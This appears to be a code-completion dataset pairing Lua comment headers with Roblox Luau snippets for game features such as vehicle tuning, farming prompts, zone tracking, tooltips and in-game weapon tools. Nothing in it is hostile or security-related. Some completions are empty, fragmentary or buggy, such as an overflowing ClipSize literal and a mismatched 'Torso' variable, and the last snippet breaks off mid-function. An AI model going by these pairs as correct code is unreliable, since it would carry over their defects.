prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--// Functions
|
function MakeFakeArms()
Arms = Instance.new("Model")
Arms.Name = "Arms"
Arms.Parent = L_5_
local L_161_ = Instance.new("Humanoid")
L_161_.MaxHealth = 0
L_161_.Health = 0
L_161_.Name = ""
L_161_.Parent = Arms
if L_3_:FindFirstChild("Shirt") then
local L_166_ = L_3_:FindFirstChild("Shirt"):clone()
L_166_.Parent = Arms
end
local L_162_ = L_3_:FindFirstChild("Right Arm"):clone()
for L_167_forvar1, L_168_forvar2 in pairs(L_162_:GetChildren()) do
if L_168_forvar2:IsA('Motor6D') then
L_168_forvar2:Destroy()
end
end
L_162_.Name = "Right Arm"
L_162_.FormFactor = "Custom"
L_162_.Size = Vector3.new(0.8, 2.5, 0.8)
L_162_.Transparency = 0.0
local L_163_ = Instance.new("Motor6D")
L_163_.Part0 = L_162_
L_163_.Part1 = L_3_:FindFirstChild("Right Arm")
L_163_.C0 = CFrame.new()
L_163_.C1 = CFrame.new()
L_163_.Parent = L_162_
L_162_.Parent = Arms
local L_164_ = L_3_:FindFirstChild("Left Arm"):clone()
L_164_.Name = "Left Arm"
L_164_.FormFactor = "Custom"
L_164_.Size = Vector3.new(0.8, 2.5, 0.8)
L_164_.Transparency = 0.0
local L_165_ = Instance.new("Motor6D")
L_165_.Part0 = L_164_
L_165_.Part1 = L_3_:FindFirstChild("Left Arm")
L_165_.C0 = CFrame.new()
L_165_.C1 = CFrame.new()
L_165_.Parent = L_164_
L_164_.Parent = Arms
end
function RemoveArmModel()
if Arms then
Arms:Destroy()
Arms = nil
end
end
local L_124_
function CreateShell()
L_124_ = time()
local L_169_ = L_1_.Shell:clone()
if L_169_:FindFirstChild('Shell') then
L_169_.Shell:Destroy()
end
L_169_.CFrame = L_1_.Chamber.CFrame
L_169_.Velocity = L_1_.Chamber.CFrame.lookVector * 30 + Vector3.new(0, 4, 0)
--shell.RotVelocity = Vector3.new(-10,40,30)
L_169_.Parent = L_93_
L_169_.CanCollide = false
game:GetService("Debris"):addItem(L_169_, 1)
end
|
--[[
Welds primaryPart to secondaryPart in place
--]]
|
local function weldParts(primaryPart: BasePart, secondaryPart: BasePart)
local weld = Instance.new("WeldConstraint")
weld.Part0 = primaryPart
weld.Part1 = secondaryPart
weld.Parent = secondaryPart
return weld
end
return weldParts
|
--[[
Finds the top-level farm model from any descendant and
returns the OwnerId attribute value of that farm.
--]]
|
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local FarmConstants = require(ReplicatedStorage.Source.Farm.FarmConstants)
local Attribute = require(ReplicatedStorage.Source.SharedConstants.Attribute)
local getAttribute = require(ReplicatedStorage.Source.Utility.getAttribute)
function getFarmOwnerIdFromInstance(instance: Instance)
local farm = instance
while farm and farm.Parent ~= FarmConstants.FarmContainer do
farm = farm:FindFirstAncestor("Farm")
end
assert(farm, "The given instance does not belong to a farm")
return getAttribute(farm, Attribute.OwnerId) :: number
end
return getFarmOwnerIdFromInstance
|
-- LOCAL FUNCTIONS
|
local function dictLength(dictionary)
local count = 0
for _, _ in pairs(dictionary) do
count += 1
end
return count
end
local function fillOccupants(zonesAndOccupantsTable, zone, occupant)
local occupantsDict = zonesAndOccupantsTable[zone]
if not occupantsDict then
occupantsDict = {}
zonesAndOccupantsTable[zone] = occupantsDict
end
occupantsDict[occupant] = (occupant.Character or true)
end
local heartbeatActions = {
["player"] = function(recommendedDetection)
return ZoneController._getZonesAndPlayers(activeZones, activeZonesTotalVolume, true, recommendedDetection)
end,
["localPlayer"] = function(recommendedDetection)
local zonesAndOccupants = {}
local touchingZones = ZoneController.getTouchingZones(localPlayer, true, recommendedDetection)
for _, zone in pairs(touchingZones) do
if zone.activeTriggers["localPlayer"] then
fillOccupants(zonesAndOccupants, zone, localPlayer)
end
end
return zonesAndOccupants
end,
}
|
--[[hit.TouchEnded:Connect(function()
hit.Open:play()
close()
end)]]
| |
--[[Brakes]]
|
Tune.ABSEnabled = true -- Implements ABS
Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS)
Tune.FBrakeForce = 150000 -- Front brake force
Tune.RBrakeForce = 100000 -- Rear brake force
Tune.PBrakeForce = 500000 -- Handbrake force
Tune.FLgcyBForce = 150000 -- Front brake force [PGS OFF]
Tune.RLgcyBForce = 100000 -- Rear brake force [PGS OFF]
Tune.LgcyPBForce = 500000 -- Handbrake force [PGS OFF]
|
--[[**
ensures Roblox Enum type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]]
|
t.Enum = primitive("Enum")
|
--forced walkspeed
|
function module.Blockingsped(hum)
coroutine.wrap(function()
while true do
task.wait()
if hum.Parent.Data["IsBlocking"].Value == true then
hum.WalkSpeed = 3
hum.JumpPower = 1
elseif hum.Parent.Data["IsBlocking"].Value == false then
hum.WalkSpeed = 16
hum.JumpPower = defJump
break
end
end
end)()
end
|
-- << CONSTANTS & SETUP >>
|
local rs = game:GetService("ReplicatedStorage")
local pos = math.random(1,#music_list)
local sound = Instance.new("Sound",workspace)
sound.Volume = volume
|
--[=[
A class which holds data and methods for ScriptConnections.
@class ScriptConnection
]=]
|
local ScriptConnection = {}
ScriptConnection.__index = ScriptConnection
|
--/Sight
|
module.SightZoom = 10 -- Set to 0 if you want to use weapon's default zoom
module.SightZoom2 = 0 --Set this to alternative zoom or Aimpart2 Zoom
|
--Rear Suspension
|
Tune.RSusDamping = 500 -- Spring Dampening
Tune.RSusStiffness = 8000 -- Spring Force
Tune.RSusLength = 2 -- Suspension length (in studs)
Tune.RSusMaxExt = .3 -- Max Extension Travel (in studs)
Tune.RSusMaxComp = .1 -- Max Compression Travel (in studs)
Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 5 -- Wishbone Length
Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
|
--[[
Returns true if the system is on
]]
|
function BaseSystem:isOn()
return self._isOn
end
|
--[[
Defines ProximityPrompt visibility logic specific to the CanHarvest cta
--]]
|
local CollectionService = game:GetService("CollectionService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Players = game:GetService("Players")
local WagonTag = require(ReplicatedStorage.Source.SharedConstants.CollectionServiceTag.WagonTag)
local CharacterTag = require(ReplicatedStorage.Source.SharedConstants.CollectionServiceTag.CharacterTag)
local getWagonModelFromOwnerId = require(ReplicatedStorage.Source.Utility.Farm.getWagonModelFromOwnerId)
local localPlayer = Players.LocalPlayer :: Player
local function shouldEnable(promptParent: Instance)
local wagonMaybe = getWagonModelFromOwnerId(localPlayer.UserId)
if not wagonMaybe then
-- Wagon doesn't exist, which only happens during the first FTUE stage.
-- Harvesting triggers the next stage, so we allow harvesting without the wagon.
return true
end
local wagon = wagonMaybe :: Model
-- If wagon or Character doesn't exist, HasTag() returns false, so this still works correctly
local isWagonFull = CollectionService:HasTag(wagon, WagonTag.WagonFull)
local character = localPlayer.Character
if not character then
return false
end
local isHoldingPlant = CollectionService:HasTag(character :: Model, CharacterTag.Holding)
-- Can't carry multiple plants
if isHoldingPlant then
return false
end
-- Don't want the player to be stuck holding a plant they can't place
if isWagonFull then
return false
end
return true
end
return shouldEnable
|
------------------------------------------------------------------------
-- closing of a function
------------------------------------------------------------------------
|
function luaY:close_func(ls)
local L = ls.L
local fs = ls.fs
local f = fs.f
self:removevars(ls, 0)
luaK:ret(fs, 0, 0) -- final return
-- luaM_reallocvector deleted for f->code, f->lineinfo, f->k, f->p,
-- f->locvars, f->upvalues; not required for Lua table arrays
f.sizecode = fs.pc
f.sizelineinfo = fs.pc
f.sizek = fs.nk
f.sizep = fs.np
f.sizelocvars = fs.nlocvars
f.sizeupvalues = f.nups
--assert(luaG_checkcode(f)) -- currently not implemented
assert(fs.bl == nil)
ls.fs = fs.prev
-- the following is not required for this implementation; kept here
-- for completeness
-- L->top -= 2; /* remove table and prototype from the stack */
-- last token read was anchored in defunct function; must reanchor it
if fs then self:anchor_token(ls) end
end
|
-- Set the ImageLabel's content to the user thumbnail
|
PlayerInfo.AccountIcon.Image = content
PlayerInfo.Welcome.Text = "Welcome, "..(Player.Name).."!"
|
-- Returns all objects under instance with Transparency
|
local function GetTransparentsRecursive(instance, partsTable)
local partsTable = partsTable or {}
for _, child in pairs(instance:GetChildren()) do
if child:IsA('BasePart') or child:IsA('Decal') then
table.insert(partsTable, child)
end
GetTransparentsRecursive(child, partsTable)
end
return partsTable
end
local function SelectionBoxify(instance)
local selectionBox = Instance.new('SelectionBox')
selectionBox.Adornee = instance
selectionBox.Color = BrickColor.new('Lime green')
selectionBox.Parent = instance
return selectionBox
end
local function Light(instance)
local light = PointLight:Clone()
light.Range = light.Range + 2
light.Parent = instance
end
local function FadeOutObjects(objectsWithTransparency, fadeIncrement)
repeat
local lastObject = nil
for _, object in pairs(objectsWithTransparency) do
object.Transparency = object.Transparency + fadeIncrement
lastObject = object
end
wait()
until lastObject.Transparency >= 1 or not lastObject
end
local function Dematerialize(character, humanoid, firstPart)
humanoid.WalkSpeed = 0
local parts = {}
for _, child in pairs(character:GetChildren()) do
if child:IsA('BasePart') then
child.Anchored = true
table.insert(parts, child)
elseif child:IsA('LocalScript') or child:IsA('Script') then
child:Destroy()
end
end
local selectionBoxes = {}
local firstSelectionBox = SelectionBoxify(firstPart)
Light(firstPart)
wait(0.05)
for _, part in pairs(parts) do
if part ~= firstPart then
table.insert(selectionBoxes, SelectionBoxify(part))
Light(part)
end
end
local objectsWithTransparency = GetTransparentsRecursive(character)
FadeOutObjects(objectsWithTransparency, 0.1)
wait(0.5)
humanoid.Health = 0
DebrisService:AddItem(character, 2)
local fadeIncrement = 0.05
delay(0.2, function()
FadeOutObjects({firstSelectionBox}, fadeIncrement)
if character then
character:Destroy()
end
end)
FadeOutObjects(selectionBoxes, fadeIncrement)
end
local function OnTouched(shot, otherPart)
local character, humanoid = FindCharacterAncestor(otherPart)
if character and humanoid and character ~= Character then
ApplyTags(humanoid)
if shot then
local hitFadeSound = shot:FindFirstChild(HitFadeSound.Name)
if hitFadeSound then
hitFadeSound.Parent = humanoid.Torso
hitFadeSound:Play()
end
shot:Destroy()
end
Dematerialize(character, humanoid, otherPart)
end
end
local function OnEquipped()
Character = Tool.Parent
Humanoid = Character:WaitForChild('Humanoid')
Player = PlayersService:GetPlayerFromCharacter(Character)
end
local function OnActivated()
if Tool.Enabled and Humanoid.Health > 0 then
Tool.Enabled = false
FireSound:Play()
local handleCFrame = Handle.CFrame
local firingPoint = handleCFrame.p + handleCFrame:vectorToWorldSpace(NOZZLE_OFFSET)
local shotCFrame = CFrame.new(firingPoint, Humanoid.TargetPoint)
local laserShotClone = BaseShot:Clone()
laserShotClone.CFrame = shotCFrame + (shotCFrame.lookVector * (BaseShot.Size.Z / 2))
local bodyVelocity = Instance.new('BodyVelocity')
bodyVelocity.velocity = shotCFrame.lookVector * SHOT_SPEED
bodyVelocity.Parent = laserShotClone
laserShotClone.Touched:connect(function(otherPart)
OnTouched(laserShotClone, otherPart)
end)
DebrisService:AddItem(laserShotClone, SHOT_TIME)
laserShotClone.Parent = Tool
wait(0) -- FireSound length
ReloadSound:Play()
wait(0) -- ReloadSound length
Tool.Enabled = true
end
end
local function OnUnequipped()
end
|
--
|
local function tripleProduct(a, b, c)
return b * c:Dot(a) - a * c:Dot(b)
end
|
--[[Transmission]]
|
Tune.TransModes = {"Semi"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "RPM" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 -- Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 -- Automatic downshift point (relative to peak RPM, positive = Under-rev)
Tune.ShiftTime = .25 -- The time delay in which you initiate a shift and the car changes gear
--Gear Ratios
Tune.FinalDrive = 3.21 -- [TRANSMISSION CALCULATIONS FOR NERDS]
Tune.Ratios = { -- SPEED [SPS] = (Wheel diameter(studs) * pi(3.14) * RPM) / (60 * Gear Ratio * Final Drive * Multiplier)
--[[Reverse]] 5.000 ,-- WHEEL TORQUE = Engine Torque * Gear Ratio * Final Drive * Multiplier
--[[Neutral]] 0 ,
--[[ 1 ]] 3.519 ,
--[[ 2 ]] 2.320 ,
--[[ 3 ]] 1.700 ,
--[[ 4 ]] 1.400 ,
--[[ 5 ]] 0.907 ,
}
Tune.FDMult = 1.3 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
-- Close win dialog
|
local function closeDlg(input)
local mouse = Enum.UserInputType.MouseButton1
local touch = Enum.UserInputType.Touch
if input.UserInputType == mouse or input.UserInputType == touch then
dlg.Visible = false
end
end -- closeDlg()
|
--CONFIG VARIABLES
|
local tweenTime = 1
local closeWaitTime = 3
local easingStyle = Enum.EasingStyle.Quad
local easingDirection = Enum.EasingDirection.InOut
local repeats = 0
local reverse = false
local delayTime = 0
|
--[[
For when the Server is in state
]]
|
local ServerStorage = game:GetService("ServerStorage")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Players = game:GetService("Players")
local SystemManager = require(ServerStorage.Source.Managers.SystemManager)
local RoomManager = require(ServerStorage.Source.Managers.RoomManager)
local Constants = require(ReplicatedStorage.Source.Common.Constants)
local tagMap = require(ServerStorage.Source.tagMap)
local spawnToolsAsync = require(ServerStorage.Source.spawnToolsAsync)
local spawnMeteor = require(ServerStorage.Source.spawnMeteor)
local sendAlert = require(ServerStorage.Source.Common.sendAlert)
local translate = require(ReplicatedStorage.Dependencies.GameUtils.TranslateUtils).translate
local METEOR_FREQUENCY_PER_PLAYER = 45
local SHIELD_DEFLECT_RATE = 40
local connections = {}
local ServerGame = {}
|
-- Constant CFrame to move all models to so that all viewports are from the same angle
|
local MODEL_POSITION = Vector3.new()
local MODEL_CFRAME = CFrame.new()
|
-- ================================================================================
-- LOCAL FUNCTIONS
-- ================================================================================
|
local function GetCameraRotation(root)
-- Relative rotational velocity:
dampCam.Goal = -root.CFrame:vectorToObjectSpace(root.RotVelocity) * 0.1
local relRotVel = dampCam:Update()
-- User view rotation:
local viewRotation = dampRot:Update()
viewRotation = CFrame.Angles(0, viewRotation.X, 0) * CFrame.Angles(viewRotation.Y, 0, 0)
return CFrame.Angles(0, 0, 0) * viewRotation * CFrame.Angles(relRotVel.X, relRotVel.Y, relRotVel.Z)
end -- GetCameraRotation
local function GetViewCFrame(view, rotation)
return view * PIVOT * rotation * OFFSET
end -- GetViewCFrame
|
--//////// DO NOT EDIT BELOW UNLESS YOU KNOW WHAT YOU'RE DOING \\\\\\\\\\\\\\\\\\\\\\\\\
|
local uis = game:GetService("UserInputService")
local runservice = game:GetService("RunService")
local tweenservice = game:GetService("TweenService")
local player = game:GetService("Players").LocalPlayer
local mouse = player:GetMouse()
local camera = workspace.CurrentCamera
repeat runservice.Heartbeat:Wait() until script.Parent:IsA("Model") -- yield until character
local character = player.Character
local rootpart = character:WaitForChild("HumanoidRootPart")
local humanoid = character:WaitForChild("Humanoid")
local aimoffset = script:WaitForChild("AimOffset") -- a property for other scripts to use to influence the viewmodel offset (such as a gun aim system)
local torso
local roothip
local lowertorso
local oldc0
local leftshoulder
local rightshoulder
local larm
local rarm
local armparts = {}
local rigtype = nil
local isrunning = false
local armsvisible = true -- whether the arms are visible in first person
local armtransparency = firstperson_arm_transparency
local isfirstperson = false
local sway = Vector3.new(0,0,0)
local walksway = CFrame.new(0,0,0)
local strafesway = CFrame.Angles(0,0,0)
local jumpsway = CFrame.new(0,0,0)
local jumpswaygoal = Instance.new("CFrameValue")
|
-- Create component
|
local Component = Cheer.CreateComponent('Tooltip', View);
local Connections = {};
function Component.Start(Text)
-- Hide the view
View.Visible = false;
-- Set the tooltip text
View.Text = Text;
-- Show the tooltip on hover
Connections.ShowOnEnter = Support.AddGuiInputListener(View.Parent, 'Began', 'MouseMovement', true, Component.Show);
Connections.HideOnLeave = Support.AddGuiInputListener(View.Parent, 'Ended', 'MouseMovement', true, Component.Hide);
-- Clear connections when the component is removed
Cheer.Bind(Component.OnRemove, ClearConnections);
-- Return component for chaining
return Component;
end;
function Component.Show()
View.Size = UDim2.new(0, View.TextBounds.X + 10, 0, View.TextBounds.Y + 10);
View.Position = UDim2.new(0.5, -View.AbsoluteSize.X / 2, 1, 3);
View.Visible = true;
end;
function Component.Hide()
View.Visible = false;
end;
function ClearConnections()
-- Clears out temporary connections
for ConnectionKey, Connection in pairs(Connections) do
Connection:Disconnect();
Connections[ConnectionKey] = nil;
end;
end;
return Component;
|
-- Notify all clients that a laser has been fired so they can display the laser
|
local function playerFiredLaser(playerFired, endPosition)
local toolHandle = getPlayerToolHandle(playerFired)
if toolHandle then
eventsFolder.LaserFired:FireAllClients(playerFired, toolHandle, endPosition)
end
end
function damageCharacter(playerFired, characterToDamage, hitPosition)
local humanoid = characterToDamage:FindFirstChild("Humanoid")
local validShot = isHitValid(playerFired, characterToDamage, hitPosition)
if humanoid and validShot then
-- Remove health from character
humanoid.Health -= LASER_DAMAGE
end
end
|
--[[
function SetPlayerMaxHealth(humanoid, health)
if not humanoid or not health then
return
end
local Ratio = (humanoid.Health / humanoid.MaxHealth)
humanoid.MaxHealth = health
humanoid.Health = (Ratio * humanoid.MaxHealth)
end
]]
|
function ConsumeTarget(character, number)
local Part = BasePart:Clone()
Part.Name = "Effect"
Part.Transparency = 1
Part.Size = Vector3.new(0.5, 0.5, 0.5)
Part.CanCollide = false
local Fire = SoulFire:Clone()
Fire.Size = 1
Fire.Enabled = true
Fire.Parent = Part
local Light = SoulLight:Clone()
Light.Color = Fire.Color
Light.Enabled = true
Light.Parent = Part
if number and number < 3 then
number = 3
end
if character then
local torso = character:FindFirstChild("Torso")
if torso then
number = (number or 4)
for i = 1, number do
local Part2 = Part:Clone()
Part2.CFrame = (Torso.CFrame + Torso.CFrame.lookVector * 4)
local Propulsion = Create("RocketPropulsion"){
Target = torso,
TargetOffset = Vector3.new(0, 2, 0),
ThrustP = 500,
ThrustD = 5,
MaxSpeed = 150,
MaxTorque = Vector3.new(4000000, 4000000, 0),
Parent = Part2,
}
Debris:AddItem(Part2, 15)
Part2.Parent = game:GetService("Workspace")
Propulsion.ReachedTarget:connect(function()
if not CheckIfAlive() then
return
end
if Part2 and Part2.Parent then
Part2:Destroy()
end
end)
Propulsion:Fire()
wait(0.25)
end
end
else
local TargetPosition = InvokeClient("MousePosition")
if TargetPosition then
TargetPosition = TargetPosition.Position
local Direction = (TargetPosition - Torso.Position).Unit
for i = 1, 5 do
local Part2 = Part:Clone()
Part2.CFrame = (Torso.CFrame + Torso.CFrame.lookVector * 4)
local Velocity = (Direction * 150)
local Mass = (Part2:GetMass() * Gravity)
local BF = Create("BodyForce"){
Parent = Part2,
force = Vector3.new(0, Part2:GetMass() * 196.2, 0),
}
Part2.Velocity = Velocity
Part2.Touched:connect(function(Hit)
if not Hit or not Hit.Parent then
return
end
local character = Hit.Parent
if character:IsA("Hat") then
character = Hit.Parent
end
local humanoid = character:FindFirstChild("Humanoid")
if not humanoid or humanoid.Health == 0 then
return
end
local player = Players:GetPlayerFromCharacter(character)
if player and (Player == player or IsTeamMate(Player, player)) then
return
end
if Part2 and Part2.Parent then
Part2:Destroy()
end
end)
Debris:AddItem(Part2, 15)
Part2.Parent = game:GetService("Workspace")
end
end
end
end
function CreateFirePart(CreateNew)
for i, v in pairs(Handle:GetChildren()) do
if v:IsA("BasePart") then
v:Destroy()
end
end
if not CreateNew then
return
end
FirePart = BasePart:Clone()
FirePart.Name = "Effect"
FirePart.Transparency = 1
FirePart.CanCollide = false
local Fire = SoulFire:Clone()
Fire.Enabled = true
Fire.Parent = FirePart
local Light = SoulLight:Clone()
Light.Color = Fire.Color
Light.Enabled = true
Light.Parent = FirePart
local Weld = Create("Weld"){
Part0 = Handle,
Part1 = FirePart,
C0 = CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),
C1 = CFrame.new(0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),
Parent = FirePart,
}
FirePart.Parent = Handle
end
function CheckIfAlive()
return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false)
end
function Activated()
if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then
return
end
Tool.Enabled = false
local Time = RunService.Stepped:wait()
if (Time - LastAttack) < 0.2 then
Lunge()
else
Attack()
end
LastAttack = Time
Tool.Enabled = true
end
function Equipped()
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
Torso = Character:FindFirstChild("Torso")
if not CheckIfAlive() then
return
end
ToolEquipped = true
Spawn(function()
local CurrentlyEquipped = true
ToolUnequipped1 = Tool.Unequipped:connect(function()
CurrentlyEquipped = false
if ToolUnequipped1 then
ToolUnequipped1:disconnect()
end
end)
Sounds.Unsheath:Play()
Humanoid.WalkSpeed = 18
--SetPlayerMaxHealth(Humanoid, 135)
CreateFirePart(true)
Spawn(function()
while ToolEquipped and CurrentlyEquipped and CheckIfAlive() do
wait(1)
if not ToolEquipped or not CurrentlyEquipped or not CheckIfAlive() then
break
end
Humanoid.Health = (Humanoid.Health + 0.25)
end
end)
end)
end
function Unequipped()
CreateFirePart(true)
--[[for i, v in pairs(Sounds) do
v:Stop()
end]]
if CheckIfAlive() then
--SetPlayerMaxHealth(Humanoid, 100)
Humanoid.WalkSpeed = 16
end
Tool.Grip = Grips.Up
ToolEquipped = false
end
function InvokeClient(Mode, Value)
local ClientReturn = nil
pcall(function()
ClientReturn = ClientControl:InvokeClient(Player, Mode, Value)
end)
return ClientReturn
end
CreateFirePart(true)
Tool.Activated:connect(Activated)
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
Blow(Handle, SwordDamage)
|
-- Holding services
|
Players = game:GetService("Players")
ReplicatedStorage = game:GetService("ReplicatedStorage")
|
-- Permissions
|
function CanEditObject(object)
local player = Players.LocalPlayer
local character = player.Character
return Permissions.CanEdit
end
function CanEditProperty(object,propertyData)
local tags = propertyData["tags"]
for _,name in pairs(tags) do
if name == "readonly" then
return false
end
end
return CanEditObject(object)
end
|
-- Number of bullets in a clip
|
local ClipSize = 1e+99999999999999999999999999999999999999999999999999999999999999999999999
|
--Turbo Settings
|
Tune.Aspiration = "Single" --[[
[Aspiration]
"Natural" : N/A, Naturally aspirated engine
"Single" : Single turbocharger
"Double" : Twin turbocharger ]]
Tune.Boost = 8 --Max PSI per turbo (If you have two turbos and this is 15, the PSI will be 30)
Tune.TurboSize = 25 --Turbo size; the bigger it is, the more lag it has.
Tune.CompressRatio = 9 --The compression ratio (look it up)
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 20 -- cooldown for use of the tool again
BoneModelName = "Dust X event" -- name the zone model
HumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
--wait(math.random(0,5)/10)
|
while true do
wait(0.2)
local target = findNearestTorso(humRoot.Position)
if target ~= nil then
script.Parent.Humanoid:MoveTo(target.Position + Vector3.new(math.random(-3,3),0,math.random(-3,3)), target)
end
if math.random(1,5) == 1 then
script.Parent.Humanoid.Jump = true
end
end
|
--[[
Used to catch any errors that may have occurred in the promise.
]]
|
function Promise.prototype:catch(failureCallback)
assert(
failureCallback == nil or type(failureCallback) == "function" or failureCallback.__call ~= nil,
string.format(ERROR_NON_FUNCTION, "Promise:catch")
)
return self:_andThen(debug.traceback(nil, 2), nil, failureCallback)
end
|
-- Shifter
|
if INVERTED == false then INVERTED = 1 else INVERTED = -1 end
Values.Gear.Changed:connect(function()
local Gear = Values.Gear.Value
local Shift = "Down"
if Gear > Val then Shift = "Up" end
Val = Gear
script.Shift:Play()
if FE then
handler:FireServer("Shifter",Shift,MOT,ANGLE,INVERTED,SHIFT_TIME)
else
if Shift == "Up" then
MOT.DesiredAngle = math.rad(ANGLE)*INVERTED
wait(SHIFT_TIME)
MOT.DesiredAngle = 0
else
MOT.DesiredAngle = -math.rad(ANGLE)*INVERTED
wait(SHIFT_TIME)
MOT.DesiredAngle = 0
end
end
end)
|
--[=[
Removes a postfix from a string if it exists
@param str string
@param postfix string
@return string
]=]
|
function String.removePostfix(str: string, postfix: string): string
if str:sub(-#postfix) == postfix then
return str:sub(1, -#(postfix) - 1)
else
return str
end
end
|
----
|
wait(.01)
debounce = false
end
end
script.Parent.Touched:connect(onTouch)
|
-- If in-game, enable ctrl hotkeys for prism selection
|
if Mode == 'Tool' then
AssignHotkey({ 'LeftControl', 'K' }, Targeting.PrismSelect);
AssignHotkey({ 'RightControl', 'K' }, Targeting.PrismSelect);
end;
|
-- @preconditions: vec should be a unit vector, and 0 < rayLength <= 1000
|
function RayCast(startPos, vec, rayLength)
local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
if hitObject and hitPos then
local distance = rayLength - (hitPos - startPos).magnitude
if RayIgnoreCheck(hitObject, hitPos) and distance > 0 then
-- there is a chance here for potential infinite recursion
return RayCast(hitPos, vec, distance)
end
end
return hitObject, hitPos
end
function TagHumanoid(humanoid, player)
-- Add more tags here to customize what tags are available.
while humanoid:FindFirstChild('creator') do
humanoid:FindFirstChild('creator'):Destroy()
end
local creatorTag = Instance.new("ObjectValue")
creatorTag.Value = player
creatorTag.Name = "creator"
creatorTag.Parent = humanoid
DebrisService:AddItem(creatorTag, 1.5)
local weaponIconTag = Instance.new("StringValue")
weaponIconTag.Value = IconURL
weaponIconTag.Name = "icon"
weaponIconTag.Parent = creatorTag
end
local function CreateBullet(bulletPos)
local bullet = Instance.new('Part', Workspace)
bullet.FormFactor = Enum.FormFactor.Custom
bullet.Size = Vector3.new(0.1, 0.1, 0.1)
bullet.BrickColor = BrickColor.new("Black")
bullet.Shape = Enum.PartType.Block
bullet.CanCollide = false
bullet.CFrame = CFrame.new(bulletPos)
bullet.Anchored = true
bullet.TopSurface = Enum.SurfaceType.Smooth
bullet.BottomSurface = Enum.SurfaceType.Smooth
bullet.Name = 'Bullet'
DebrisService:AddItem(bullet, 2.5)
local shell = Instance.new("Part")
shell.CFrame = Tool.Handle.CFrame * CFrame.fromEulerAnglesXYZ(1.5,0,0)
shell.Size = Vector3.new(1,1,1)
shell.BrickColor = BrickColor.new(226)
shell.Parent = game.Workspace
shell.CFrame = script.Parent.Handle.CFrame
shell.CanCollide = false
shell.Transparency = 0
shell.BottomSurface = 0
shell.TopSurface = 0
shell.Name = "Shell"
shell.Velocity = Tool.Handle.CFrame.lookVector * 35 + Vector3.new(math.random(-10,10),20,math.random(-10,20))
shell.RotVelocity = Vector3.new(0,200,0)
DebrisService:AddItem(shell, 1)
local shellmesh = Instance.new("SpecialMesh")
shellmesh.Scale = Vector3.new(.15,.4,.15)
shellmesh.Parent = shell
return bullet
end
local function Reload()
if not Reloading then
Reloading = true
-- Don't reload if you are already full or have no extra ammo
if AmmoInClip ~= ClipSize and SpareAmmo > 0 then
if RecoilTrack then
RecoilTrack:Stop()
end
if WeaponGui and WeaponGui:FindFirstChild('Crosshair') then
if WeaponGui.Crosshair:FindFirstChild('ReloadingLabel') then
WeaponGui.Crosshair.ReloadingLabel.Visible = true
end
end
if ReloadTrack then
ReloadTrack:Play()
end
script.Parent.Handle.Reload:Play()
wait(ReloadTime)
-- Only use as much ammo as you have
local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
AmmoInClip = AmmoInClip + ammoToUse
SpareAmmo = SpareAmmo - ammoToUse
UpdateAmmo(AmmoInClip)
--WeaponGui.Reload.Visible = false
if ReloadTrack then
ReloadTrack:Stop()
end
end
Reloading = false
end
end
function OnFire()
if IsShooting then return end
if MyHumanoid and MyHumanoid.Health > 0 then
if RecoilTrack and AmmoInClip > 0 then
RecoilTrack:Play()
end
IsShooting = true
while LeftButtonDown and AmmoInClip > 0 and not Reloading do
if Spread and not DecreasedAimLastShot then
Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
UpdateCrosshair(Spread)
end
DecreasedAimLastShot = not DecreasedAimLastShot
if Handle:FindFirstChild('FireSound') then
Pitch.Pitch = .8 + (math.random() * .5)
Handle.FireSound:Play()
Handle.Flash.Enabled = true
flare.MuzzleFlash.Enabled = true
--Handle.Smoke.Enabled=true --This is optional
end
if MyMouse then
local targetPoint = MyMouse.Hit.p
local shootDirection = (targetPoint - Handle.Position).unit
-- Adjust the shoot direction randomly off by a little bit to account for recoil
shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
(0.5 - math.random()) * 2 * Spread,
(0.5 - math.random()) * 2 * Spread) * shootDirection
local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
local bullet
-- Create a bullet here
if hitObject then
bullet = CreateBullet(bulletPos)
end
if hitObject and hitObject.Parent then
local hitHumanoid = hitObject.Parent:FindFirstChild("Humanoid")
if hitHumanoid then
local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then
TagHumanoid(hitHumanoid, MyPlayer)
hitHumanoid:TakeDamage(Damage)
--game.ReplicatedStorage.Remotes.TakeDamage:FireServer(hitHumanoid)
if bullet then
bullet:Destroy()
bullet = nil
